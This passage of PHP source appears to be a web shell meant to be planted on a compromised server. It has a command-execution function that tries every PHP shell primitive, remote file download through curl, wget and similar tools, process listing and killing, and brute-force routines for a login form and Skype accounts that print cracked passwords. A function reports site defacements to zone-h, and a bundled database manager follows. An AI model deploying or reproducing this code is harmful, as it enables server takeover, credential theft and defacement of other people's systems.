- $a='0 Byte';
- }
- return $a;
- }
- function ukurans($a){
- $b=filesize($a);
- $c=array(' Byte',' KB',' MB',' GB',' TB',' PB',' EB',' ZB',' YB');
- $d=$b>0?floor(log($b,1024)):0;
- return number_format($b/pow(1024,$d),2,'.',',').$c[$d];
- }
- function exe($a){
- $b='';
- $a=$a.' 2>&1';
- if(function_exists('system')){
- if(is_callable('system')) {
- ob_start();
- system($a);
- $b=ob_get_contents();
- ob_end_clean();
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('shell_exec')) {
- if(is_callable('shell_exec')) {
- $b=shell_exec($a);
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('exec')) {
- if(is_callable('exec')) {
- exec($a,$c);
- if(!empty($c)) {
- foreach($c as $d) {
- $b.=$d;
- }
- if(!empty($b)) {
- return $b;
- }
- }
- }
- }elseif(function_exists('passthru')) {
- if(is_callable('passthru')) {
- ob_start();
- passthru($a);
- $b=ob_get_contents();
- ob_end_clean();
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('proc_open')) {
- if(is_callable('proc_open')) {
- $e=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));
- $f=proc_open($a,$e,$g, getcwd(), array());
- if(is_resource($f)) {
- while($h=fgets($g[1])) {
- if(!empty($h))
- $b.=$h;
- }
- while($i=fgets($g[2])) {
- if(!empty($i))
- $b.=$i;
- }
- }
- proc_close($f);
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('popen')) {
- if(is_callable('popen')) {
- $j=popen($a, 'r');
- if($j) {
- while(!feof($j)) {
- $b.=fread($j, 2096);
- }
- pclose($j);
- }
- if(!empty($b)) {
- return $b;
- }
- }
- }
- return '';
- }
- function tulis($a,$b){
- $d=gzinflate(base64_decode($b));
- $c=fopen($a,'w');
- if($c){
- fputs($c,$d);
- fclose($a);
- }
- }
- function simpan($a,$b){
- if(is_writable(getcwd())){
- $c=fopen($a,'w');
- fputs($c,$b);
- fclose($c);
- return true;
- }else{
- return false;
- }
- }
- function ambil($a,$b){
- $c=fopen($a,'r');
- if($c){
- while(!feof($c)){
- $c.=fread($c, 1024);
- }
- fclose($c);
- $d=@fopen($b, 'w');
- fwrite($d,$c);
- fclose($d);
- }
- }
- function which($a){
- $b=exe("which $a");
- if(!empty($b)) {
- return trim($b);
- }else{
- return trim($a);
- }
- }
- function download($a,$b){
- $c=basename($b);
- switch($a) {
- case 'ccurl':
- $d=curl_init();
- curl_setopt($d, CURLOPT_URL,$b);
- curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($d, CURLOPT_FOLLOWLOCATION, 1);
- $e=curl_exec($d);
- curl_close($d);
- simpan($c,$e);
- break;
- case 'wwget':
- exe(which('wget')." ".$b." -O ".$c);
- break;
- case 'wlynx':
- exe(which('lynx')." -source ".$b." >".$c);
- break;
- case 'wfread':
- ambil($b,$c);
- break;
- case 'wfetch':
- exe(which('fetch')." -o ".$c." -p ".$b);
- break;
- case 'wlinks':
- exe(which('links')." -source ".$b." >".$c);
- break;
- case 'wget':
- exe(which('GET')." ".$b." >".$c);
- break;
- case 'wcurl':
- exe(which('curl')." ".$b." -o ".$c);
- break;
- default:
- break;
- }
- return $c;
- }
- function get_perms($a){
- if($b=@fileperms($a)){
- $c='';
- $c.=($b&00400)?'r':'-';
- $c.=($b&00200)?'w':'-';
- $c.=($b&00100)?'x':'-';
- $c.=($b&00040)?'r':'-';
- $c.=($b&00020)?'w':'-';
- $c.=($b&00010)?'x':'-';
- $c.=($b&00004)?'r':'-';
- $c.=($b&00002)?'w':'-';
- $c.=($b&00001)?'x':'-';
- return $c;
- }else{
- return '?????';
- }
- }
- function clearspace($a){
- return str_replace(" ","_",$a);
- }
- function CleanDir($a){
- $a=str_replace("\\","/",$a);
- $a=str_replace("//","/",$a);
- return $a;
- }
- function dmprocess(){
- if(!$win) {
- $handler="ps -aux" . ($grep?" | grep '" . addslashes($grep)."'":"");
- }else{
- $handler="tasklist";
- }
- $ret=myshellexec($handler);
- if(!$ret) {
- echo "Can't execute \"".$handler."\"!";
- }else{
- if(empty($processes_sort)) {
- $processes_sort=$sort_default;
- }
- $parsesort=parsesort($processes_sort);
- if(!is_numeric($parsesort[0])) {
- $parsesort[0]=0;
- }
- $k=$parsesort[0];
- $ret=htmlspecialchars($ret);
- if(!$win) {
- if($pid) {
- if(is_null($sig)) {
- $sig=9;
- }
- echo "Sending signal ".$sig." to #".$pid."... ";
- if(posix_kill($pid,$sig)) {
- echo "OK.";
- }else{
- echo "ERROR.";
- }
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" "," ",$ret);
- }
- $stack=explode("\n",$ret);
- $head=explode(" ",$stack[0]);
- unset($stack[0]);
- $prcs=array();
- foreach($stack as $line) {
- if(!empty($line)) {
- echo "<tr>";
- $line=explode(" ",$line);
- $line[10]=join(" ",array_slice($line, 10));
- $line=array_slice($line, 0, 11);
- $prcs[]=$line;
- echo "</tr>";
- }
- }
- }else{
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- while(preg_match(" ",$ret)) {
- $ret=str_replace(" ","",$ret);
- }
- $ret=convert_cyr_string($ret, "d","w");
- $stack=explode("\n",$ret);
- unset($stack[0],$stack[2]);
- $stack=array_values($stack);
- $head=explode("",$stack[0]);
- $head[1]=explode(" ",$head[1]);
- $head[1]=$head[1][0];
- $stack=array_slice($stack, 1);
- unset($head[2]);
- $head=array_values($head);
- if($k>count($head)) {
- $k=count($head)-1;
- }
- $prcs=array();
- foreach($stack as $line) {
- if(!empty($line)) {
- echo "<tr>";
- $line=explode("",$line);
- $line[1]=intval($line[1]);
- $line[2]=$line[3];
- unset($line[3]);
- $line[2]=intval(str_replace(" ","",$line[2]))*1024;
- $prcs[]=$line;
- echo "</tr>";
- }
- }
- }
- $head[$k]="<b>".$head[$k]."</b>".$y;
- $v=$processes_sort[0];
- if($processes_sort[1]=="d") {
- $prcs=array_reverse($prcs);
- }
- $tab=array();
- $tab[]=$head;
- $tab=array_merge($tab,$prcs);
- echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
- foreach($tab as $i=>$k) {
- echo "<tr>";
- foreach($k as $j=>$v) {
- if($win and $i>0 and $j==2) {
- $v=view_size($v);
- }
- echo "<td>".$v."</td>";
- }
- echo "</tr>";
- }
- echo "</table>";
- }
- }
- function curPageURL(){
- $pageURLe='http';
- if($_SERVER["HTTPS"]=="on") {
- $pageURL.="s";
- }
- $pageURLe.="://";
- if($_SERVER["SERVER_PORT"]!="80") {
- $pageURLe.=$_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
- }else{
- $pageURLe.=$_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
- }
- return $pageURLe;
- }
- function brute($site,$username,$password){
- $curl=curl_init();
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($curl, CURLOPT_URL,$site);
- curl_setopt($curl, CURLOPT_POSTFIELDS, "user_name={$username}&user_pass={$password}");
- curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
- curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
- $brute=curl_exec($curl);
- if(preg_match('/<p align="center"><b><font size="4" color="#FFFFFF">/',$brute)) {
- echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username:<font color='#FF0000'>{$username}</font> & Password:<font color='#FF0000'>{$password}</font></font></b>";
- }
- return $brute;
- }
- function url_exists($strURL){
- $resURL=curl_init();
- curl_setopt($resURL, CURLOPT_URL,$strURL);
- curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
- curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
- curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
- curl_exec($resURL);
- $intReturnCode=curl_getinfo($resURL, CURLINFO_HTTP_CODE);
- curl_close($resURL);
- if($intReturnCode!=200) {
- return false;
- }else{
- return true;
- }
- }
- function is_url_exist($url){
- $ch=curl_init($url);
- curl_setopt($ch, CURLOPT_NOBODY, true);
- curl_exec($ch);
- $code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
- if($code==200) {
- $status=true;
- }else{
- $status=false;
- }
- curl_close($ch);
- return $status;
- }
- function filter($string){
- if(get_magic_quotes_gpc()!=0) {
- return stripslashes($string);
- }else{
- return $string;
- }
- }
- function RemoveLastSlash($host) {
- if(strrpos($host, '/', -1)==strlen($host)-1) {
- return substr($host, 0, strrpos($host, '/', -1));
- }else{
- return $host;
- }
- }
- function get_string_between($string,$start,$end){
- $string=" ".$string;
- $ini=strpos($string,$start);
- if($ini==0)
- return "";
- $ini+=strlen($start);
- $len=strpos($string,$end,$ini)-$ini;
- return substr($string,$ini,$len);
- }
- function dec($a,$b){
- $d=md5(md5($b)) . md5($b);
- $f=_hash($d);
- $g=strlen($f);
- $a=base64_decode($a);
- $e=substr($a, 0,$g);
- $a=substr($a,$g, strlen($a)-$g);
- $h=$i='';
- $c=0;
- while($c<$g) {
- $h.=chr(ord($e[$c])^ord($f[$c]));
- ++$c;
- }
- $d=$h;
- $c=0;
- while($c<strlen($a)) {
- if(($c!=0AND$c%$g==0)) {
- $d=_hash($d . substr($i,$c-$g,$g));
- }
- $i.=chr(ord($d[$c%$g])^ord($a[$c]));
- ++$c;
- }
- return $i;
- }
- function _hash($a){
- $b=(function_exists('sha1'))?sha1($a):md5($a);
- $d='';
- $c=0;
- while($c<strlen($b)) {
- $d.=chr(hexdec($b[$c] . $b[$c+1]));
- $c+=2;
- }
- return $d;
- }
- function xsecurity($skype){
- $ch=curl_init();
- curl_setopt($ch,CURLOPT_URL,$skype);
- curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch,CURLOPT_HEADER, 1);
- curl_setopt($ch,CURLOPT_POST, 1);
- curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
- curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
- curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
- $run=curl_exec($ch);
- preg_match('/<input type="hidden" name="session_token" value="(.*?)"/',$run,$hash);
- preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/',$run,$piie);
- preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/',$run,$etmm);
- return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];
- }
- /*
- $xsec=explode("|:|",xsecurity($skype));
- $token=$xsec[0];
- $pie=$xsec[1];
- $etm=$xsec[2];
- */
- function bruteskype($skype,$username,$pass,$header){
- $ch=curl_init();
- curl_setopt($ch, CURLOPT_URL,$skype);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $brute=curl_exec($ch);
- if(strstr($brute,$header)) {
- echo "<br><br><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> => <b>{$username}</b></span></center>";
- }
- return $brute;
- }
- function zoneh($a,$b){
- $c=curl_init();
- curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($c,CURLOPT_POST,1);
- curl_setopt($c,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0');
- curl_setopt($c,CURLOPT_URL,"http://www.zone-h.com/notify/single");
- curl_setopt($c,CURLOPT_POSTFIELDS,"defacer=$b&domain1=$a&hackmode=1&reason=1");
- $d=curl_exec($c);
- //echo"<textarea>$d</textarea>";
- if(preg_match("/color=\"red\">OK<\/font><\/li>/i",$d)){
- echo"<a href=\"$a\" target=\"_blank\"><span style=\"color:#0f0;\">$a OK</span></a><br>";
- }else{
- echo"<span style=\"color:red\">$a Error</span><br>";
- }
- curl_close ($c);
- }
- function toolurl($a){
- if(function_exists('curl_version')){
- $b=curl_init();
- curl_setopt($b,CURLOPT_URL,$a);
- curl_setopt($b,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($b,CURLOPT_FOLLOWLOCATION,1);
- $c=curl_exec($b);
- curl_close($b);
- return $c;
- }else{
- return file_get_contents($a);
- }
- }
- // Function Done
- //function phpmyadmin
- function connection() {
- global $g;
- return $g;
- }
- function adminer() {
- global $b;
- return $b;
- }
- function idf_unescape($u) {
- $Sd=substr($u, -1);
- return str_replace($Sd.$Sd,$Sd, substr($u, 1, -1));
- }
- function escape_string($X) {
- return substr(q($X), 1, -1);
- }
- function number($X) {
- return preg_replace('~[^0-9]+~','',$X);
- }
- function remove_slashes($Nf,$Jc=false) {
- if(get_magic_quotes_gpc()) {
- while(list($y,$X)=each($Nf)) {
- foreach($X as $Id=>$W) {
- unset($Nf[$y][$Id]);
- if(is_array($W)) {
- $Nf[$y][stripslashes($Id)]=$W;
- $Nf[]=&$Nf[$y][stripslashes($Id)];
- } else
- $Nf[$y][stripslashes($Id)]=($Jc?$W:stripslashes($W));
- }
- }
- }
- }
- function bracket_escape($u,$Ma=false) {
- static $Dh=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');
- return strtr($u, ($Ma?array_flip($Dh):$Dh));
- }
- function charset($g) {
- return (version_compare($g->server_info, "5.5.3")>=0?"utf8mb4":"utf8");
- }
- function h($Q) {
- return str_replace("\0","�",htmlspecialchars($Q, ENT_QUOTES, 'utf-8'));
- }
- function nbsp($Q) {
- return (trim($Q)!=""?h($Q):" ");
- }
- function nl_br($Q) {
- return str_replace("\n","<br>",$Q);
- }
- function checkbox($C,$Y,$cb,$Pd="",$Se="",$hb="",$Qd="") {
- $J="<input type='checkbox' name='$C' value='".h($Y)."'".($cb?" checked":"").($Qd?" aria-labelledby='$Qd'":"").($Se?' onclick="'.h($Se).'"':'').">";
- return ($Pd!=""||$hb?"<label".($hb?" class='$hb'":"").">$J".h($Pd)."</label>":$J);
- }
- function optionlist($Ye,$zg=null,$bi=false) {
- $J="";
- foreach($Ye as $Id=>$W) {
- $Ze=array($Id=>$W);
- if(is_array($W)) {
- $J.='<optgroup label="'.h($Id).'">';
- $Ze=$W;
- }
- foreach($Ze as $y=>$X)
- $J.='<option'.($bi||is_string($y)?' value="'.h($y).'"':'').(($bi||is_string($y)?(string) $y:$X)===$zg?' selected':'').'>'.h($X);
- if(is_array($W))
- $J.='</optgroup>';
- }
- return $J;
- }
- function html_select($C,$Ye,$Y="",$Re=true,$Qd="") {
- if($Re)
- return "<select name='".h($C)."'".(is_string($Re)?' onchange="'.h($Re).'"':"").($Qd?" aria-labelledby='$Qd'":"").">".optionlist($Ye,$Y)."</select>";
- $J="";
- foreach($Ye as $y=>$X)
- $J.="<label><input type='radio' name='".h($C)."' value='".h($y)."'".($y==$Y?" checked":"").">".h($X)."</label>";
- return $J;
- }
- function select_input($Ia,$Ye,$Y="",$_f="") {
- return ($Ye?"<select$Ia><option value=''>$_f".optionlist($Ye,$Y, true)."</select>":"<input$Ia size='10' value='".h($Y)."' placeholder='$_f'>");
- }
- function confirm() {
- return " onclick=\"return confirm('".'Are you sure?'."');\"";
- }
- function print_fieldset($t,$Xd,$mi=false,$Se="") {
- echo "<fieldset><legend><a href='#fieldset-$t' onclick=\"".h($Se)."return !toggle('fieldset-$t');\">$Xd</a></legend><div id='fieldset-$t'".($mi?"":" class='hidden'").">\n";
- }
- function bold($Ua,$hb="") {
- return ($Ua?" class='active $hb'":($hb?" class='$hb'":""));
- }
- function odd($J=' class="odd"') {
- static $s=0;
- if(!$J)
- $s=-1;
- return ($s++%2?$J:'');
- }
- function js_escape($Q) {
- return addcslashes($Q, "\r\n'\\/");
- }
- function json_row($y,$X=null) {
- static $Kc=true;
- if($Kc)
- echo "{";
- if($y!="") {
- echo ($Kc?"":",")."\n\t\"".addcslashes($y, "\r\n\t\"\\/").'": '.($X!==null?'"'.addcslashes($X, "\r\n\"\\/").'"':'null');
- $Kc=false;
- }else{
- echo "\n}\n";
- $Kc=true;
- }
- }
- function ini_bool($vd) {
- $X=ini_get($vd);
- return (preg_match('~^(on|true|yes)$~i',$X)||(int) $X);
- }
- function sid() {
- static $J;
- if($J===null)
- $J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));
- return $J;
- }
- function set_password($ii,$N,$V,$G) {
- $_SESSION["pwds"][$ii][$N][$V]=($_COOKIE["adminer_key"]&&is_string($G)?array(encrypt_string($G,$_COOKIE["adminer_key"])):$G);
- }
- function get_password() {
- $J=get_session("pwds");
- if(is_array($J))
- $J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);
- return $J;
- }
- function q($Q) {
- global $g;
- return $g->quote($Q);
- }
- function get_vals($H,$e=0) {
- global $g;
- $J=array();
- $I=$g->query($H);
- if(is_object($I)) {
- while($K=$I->fetch_row())
- $J[]=$K[$e];
- }
- return $J;
- }
- function get_key_vals($H,$h=null,$th=0) {
- global $g;
- if(!is_object($h))
- $h=$g;
- $J=array();
- $h->timeout=$th;
- $I=$h->query($H);
- $h->timeout=0;
- if(is_object($I)) {
- while($K=$I->fetch_row())
- $J[$K[0]]=$K[1];
- }
- return $J;
- }
- function get_rows($H,$h=null,$n="<p class='error'>") {
- global $g;
- $tb=(is_object($h)?$h:$g);
- $J=array();
- $I=$tb->query($H);
- if(is_object($I)) {
- while($K=$I->fetch_assoc())
- $J[]=$K;
- }elseif(!$I&&!is_object($h)&&$n&&defined("PAGE_HEADER"))
- echo $n.error()."\n";
- return $J;
- }
- function unique_array($K,$w) {
- foreach($w as $v) {
- if(preg_match("~PRIMARY|UNIQUE~",$v["type"])) {
- $J=array();
- foreach($v["columns"] as $y) {
- if(!isset($K[$y]))
- continue 2;
- $J[$y]=$K[$y];
- }
- return $J;
- }
- }
- }
- function escape_key($y) {
- if(preg_match('(^([\w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ \w)]+)$)',$y,$B))
- return $B[1].idf_escape(idf_unescape($B[2])).$B[3];
- return idf_escape($y);
- }
- function where($Z,$p=array()) {
- global $g,$x;
- $J=array();
- foreach((array) $Z["where"] as $y=>$X) {
- $y=bracket_escape($y, 1);
- $e=escape_key($y);
- $J[]=$e.($x=="sql"&&preg_match('~^[0-9]*\\.[0-9]*$~',$X)?" LIKE ".q(addcslashes($X, "%_\\")):($x=="mssql"?" LIKE ".q(preg_replace('~[_%[]~','[\0]',$X)):" = ".unconvert_field($p[$y], q($X))));
- if($x=="sql"&&preg_match('~char|text~',$p[$y]["type"])&&preg_match("~[^ -@]~",$X))
- $J[]="$e = ".q($X)." COLLATE ".charset($g)."_bin";
- }
- foreach((array) $Z["null"] as $y)
- $J[]=escape_key($y)." IS NULL";
- return implode(" AND ",$J);
- }
- function where_check($X,$p=array()) {
- parse_str($X,$ab);
- remove_slashes(array(&$ab));
- return where($ab,$p);
- }
- function where_link($s,$e,$Y,$Ue="=") {
- return "&where%5B$s%5D%5Bcol%5D=".urlencode($e)."&where%5B$s%5D%5Bop%5D=".urlencode(($Y!==null?$Ue:"IS NULL"))."&where%5B$s%5D%5Bval%5D=".urlencode($Y);
- }
- function convert_fields($f,$p,$M=array()) {
- $J="";
- foreach($f as $y=>$X) {
- if($M&&!in_array(idf_escape($y),$M))
- continue;
- $Fa=convert_field($p[$y]);
- if($Fa)
- $J.=",$Fa AS ".idf_escape($y);
- }
- return $J;
- }
- function cookie($C,$Y,$ae=2592000) {
- global $ba;
- return header("Set-Cookie: $C=".urlencode($Y).($ae?"; expires=".gmdate("D, d M Y H:i:s",time()+$ae)." GMT":"")."; path=".preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]).($ba?"; secure":"")."; HttpOnly; SameSite=lax",false);
- }
- function restart_session() {
- if(!ini_bool("session.use_cookies"))
- session_start();
- }
- function stop_session() {
- if(!ini_bool("session.use_cookies"))
- session_write_close();
- }
- function &get_session($y) {
- return $_SESSION[$y][DRIVER][SERVER][$_GET["username"]];
- }
- function set_session($y,$X) {
- $_SESSION[$y][DRIVER][SERVER][$_GET["username"]]=$X;
- }
- function auth_url($ii,$N,$V,$m=null) {
- global $Wb,$pwd;
- preg_match('~([^?]*)\\??(.*)~', remove_from_uri(implode("|",array_keys($Wb))."|username|".($m!==null?"db|":"").session_name()),$B);
- return "$B[1]?".(sid()?SID."&":"").($ii!="server"||$N!=""?urlencode($ii)."=".urlencode($N)."&":"")."dm=$pwd&x=phpmyadmin&username=".urlencode($V).($m!=""?"&db=".urlencode($m):"").($B[2]?"&$B[2]":"");
- }
- function is_ajax() {
- return ($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");
- }
- function redirect($A,$pe=null) {
- if($pe!==null) {
- restart_session();
- $_SESSION["messages"][preg_replace('~^[^?]*~','', ($A!==null?$A:$_SERVER["REQUEST_URI"]))][]=$pe;
- }
- if($A!==null) {
- if($A=="")
- $A=".";
- header("Location: $A");
- exit;
- }
- }
- function query_redirect($H,$A,$pe,$Xf=true,$vc=true,$Cc=false,$sh="") {
- global $g,$n,$b;
- if($vc) {
- $Sg=microtime(true);
- $Cc=!$g->query($H);
- $sh=format_time($Sg);
- }
- $Qg="";
- if($H)
- $Qg=$b->messageQuery($H,$sh);
- if($Cc) {
- $n=error().$Qg;
- return false;
- }
- if($Xf)
- redirect($A,$pe.$Qg);
- return true;
- }
- function queries($H) {
- global $g;
- static $Rf=array();
- static $Sg;
- if(!$Sg)
- $Sg=microtime(true);
- if($H===null)
- return array(implode("\n",$Rf),format_time($Sg)
- );
- $Rf[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H).";";
- return $g->query($H);
- }
- function apply_queries($H,$T,$rc='table') {
- foreach($T as $R) {
- if(!queries("$H ".$rc($R)))
- return false;
- }
- return true;
- }
- function queries_redirect($A,$pe,$Xf) {
- list($Rf,$sh)=queries(null);
- return query_redirect($Rf,$A,$pe,$Xf, false, !$Xf,$sh);
- }
- function format_time($Sg) {
- return sprintf('%.3f s', max(0, microtime(true)-$Sg));
- }
- function remove_from_uri($nf="") {
- return substr(preg_replace("~(?<=[?&])($nf".(SID?"":"|".session_name()).")=[^&]*&~",'', "$_SERVER[REQUEST_URI]&"), 0, -1);
- }
- function pagination($E,$Cb) {
- return " ".($E==$Cb?$E+1:'<a href="'.h(remove_from_uri("page").($E?"&page=$E".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($E+1)."</a>");
- }
- function get_file($y,$Jb=false) {
- $Hc=$_FILES[$y];
- if(!$Hc)
- return null;
- foreach($Hc as $y=>$X)
- $Hc[$y]=(array) $X;
- $J='';
- foreach($Hc["error"] as $y=>$n) {
- if($n)
- return $n;
- $C=$Hc["name"][$y];
- $_h=$Hc["tmp_name"][$y];
- $vb=file_get_contents($Jb&&preg_match('~\\.gz$~',$C)?"compress.zlib://$_h":$_h);
- if($Jb) {
- $Sg=substr($vb, 0, 3);
- if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$Sg,$dg))
- $vb=iconv("utf-16","utf-8",$vb);
- elseif($Sg=="\xEF\xBB\xBF")
- $vb=substr($vb, 3);
- $J.=$vb."\n\n";
- } else
- $J.=$vb;
- }
- return $J;
- }
- function upload_error($n) {
- $me=($n==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);
- return ($n?'Unable to upload a file.'.($me?" ".sprintf('Maximum allowed file size is %sB.',$me):""):'File does not exist.');
- }
- function repeat_pattern($yf,$Yd) {
- return str_repeat("$yf{0,65535}",$Yd/65535)."$yf{0,".($Yd%65535)."}";
- }
- function is_utf8($X) {
- return (preg_match('~~u',$X)&&!preg_match('~[\\0-\\x8\\xB\\xC\\xE-\\x1F]~',$X));
- }
- function shorten_utf8($Q,$Yd=80,$Yg="") {
- if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{10FFFF}]",$Yd).")($)?)u",$Q,$B))
- preg_match("(^(".repeat_pattern("[\t\r\n -~]",$Yd).")($)?)",$Q,$B);
- return h($B[1]).$Yg.(isset($B[2])?"":"<i>...</i>");
- }
- function format_number($X) {
- return strtr(number_format($X, 0, ".",','), preg_split('~~u','0123456789', -1, PREG_SPLIT_NO_EMPTY));
- }
- function friendly_url($X) {
- return preg_replace('~[^a-z0-9_]~i','-',$X);
- }
- function hidden_fields($Nf,$od=array()) {
- while(list($y,$X)=each($Nf)) {
- if(!in_array($y,$od)) {
- if(is_array($X)) {
- foreach($X as $Id=>$W)
- $Nf[$y."[$Id]"]=$W;
- } else
- echo '<input type="hidden" name="'.h($y).'" value="'.h($X).'">';
- }
- }
- }
- function hidden_fields_get() {
- echo (sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""), '<input type="hidden" name="username" value="'.h($_GET["username"]).'">';
- }
- function table_status1($R,$Dc=false) {
- $J=table_status($R,$Dc);
- return ($J?$J:array("Name"=>$R));
- }
- function column_foreign_keys($R) {
- global $b;
- $J=array();
- foreach($b->foreignKeys($R) as $q) {
- foreach($q["source"] as $X)
- $J[$X][]=$q;
- }
- return $J;
- }
- function enum_input($U,$Ia,$o,$Y,$lc=null) {
- global $b;
- preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$he);
- $J=($lc!==null?"<label><input type='$U'$Ia value='$lc'".((is_array($Y)?in_array($lc,$Y):$Y===0)?" checked":"")."><i>".'empty'."</i></label>":"");
- foreach($he[1] as $s=>$X) {
- $X=stripcslashes(str_replace("''","'",$X));
- $cb=(is_int($Y)?$Y==$s+1:(is_array($Y)?in_array($s+1,$Y):$Y===$X));
- $J.=" <label><input type='$U'$Ia value='".($s+1)."'".($cb?' checked':'').'>'.h($b->editVal($X,$o)).'</label>';
- }
- return $J;
- }
- function input($o,$Y,$r) {
- global $g,$Oh,$b,$x;
- $C=h(bracket_escape($o["field"]));
- echo "<td class='function'>";
- if(is_array($Y)&&!$r) {
- $Da=array($Y);
- if(version_compare(PHP_VERSION, 5.4)>=0)
- $Da[]=JSON_PRETTY_PRINT;
- $Y=call_user_func_array('json_encode',$Da);
- $r="json";
- }
- $gg=($x=="mssql"&&$o["auto_increment"]);
- if($gg&&!$_POST["save"])
- $r=null;
- $Xc=(isset($_GET["select"])||$gg?array("orig"=>'original'):array())+$b->editFunctions($o);
- $Ia=" name='fields[$C]'";
- if($o["type"]=="enum")
- echo nbsp($Xc[""])."<td>".$b->editInput($_GET["edit"],$o,$Ia,$Y);
- else {
- $Kc=0;
- foreach($Xc as $y=>$X) {
- if($y===""||!$X)
- break;
- $Kc++;
- }
- $Re=($Kc?" onchange=\"var f = this.form['function[".h(js_escape(bracket_escape($o["field"])))."]']; if ($Kc > f.selectedIndex) f.selectedIndex = $Kc;\" onkeyup='keyupChange.call(this);'":"");
- $Ia.=$Re;
- $fd=(in_array($r,$Xc)||isset($Xc[$r]));
- echo (count($Xc)>1?"<select name='function[$C]' onchange='functionChange(this);'".on_help("getTarget(event).value.replace(/^SQL\$/, '')",1).">".optionlist($Xc,$r===null||$fd?$r:"")."</select>":nbsp(reset($Xc))).'<td>';
- $xd=$b->editInput($_GET["edit"],$o,$Ia,$Y);
- if($xd!="")
- echo $xd;
- elseif(preg_match('~bool~',$o["type"]))
- echo "<input type='hidden'$Ia value='0'>"."<input type='checkbox'".(in_array(strtolower($Y), array('1','t','true','y','yes','on'))?" checked='checked'":"")."$Ia value='1'>";
- elseif($o["type"]=="set") {
- preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$he);
- foreach($he[1] as $s=>$X) {
- $X=stripcslashes(str_replace("''","'",$X));
- $cb=(is_int($Y)?($Y>>$s)&1:in_array($X, explode(",",$Y), true));
- echo " <label><input type='checkbox' name='fields[$C][$s]' value='".(1<<$s)."'".($cb?' checked':'')."$Re>".h($b->editVal($X,$o)).'</label>';
- }
- }elseif(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads"))
- echo "<input type='file' name='fields-$C'$Re>";
- elseif(($qh=preg_match('~text|lob~',$o["type"]))||preg_match("~\n~",$Y)) {
- if($qh&&$x!="sqlite")
- $Ia.=" cols='50' rows='12'";
- else {
- $L=min(12, substr_count($Y, "\n")+1);
- $Ia.=" cols='30' rows='$L'".($L==1?" style='height: 1.2em;'":"");
- }
- echo "<textarea$Ia>".h($Y).'</textarea>';
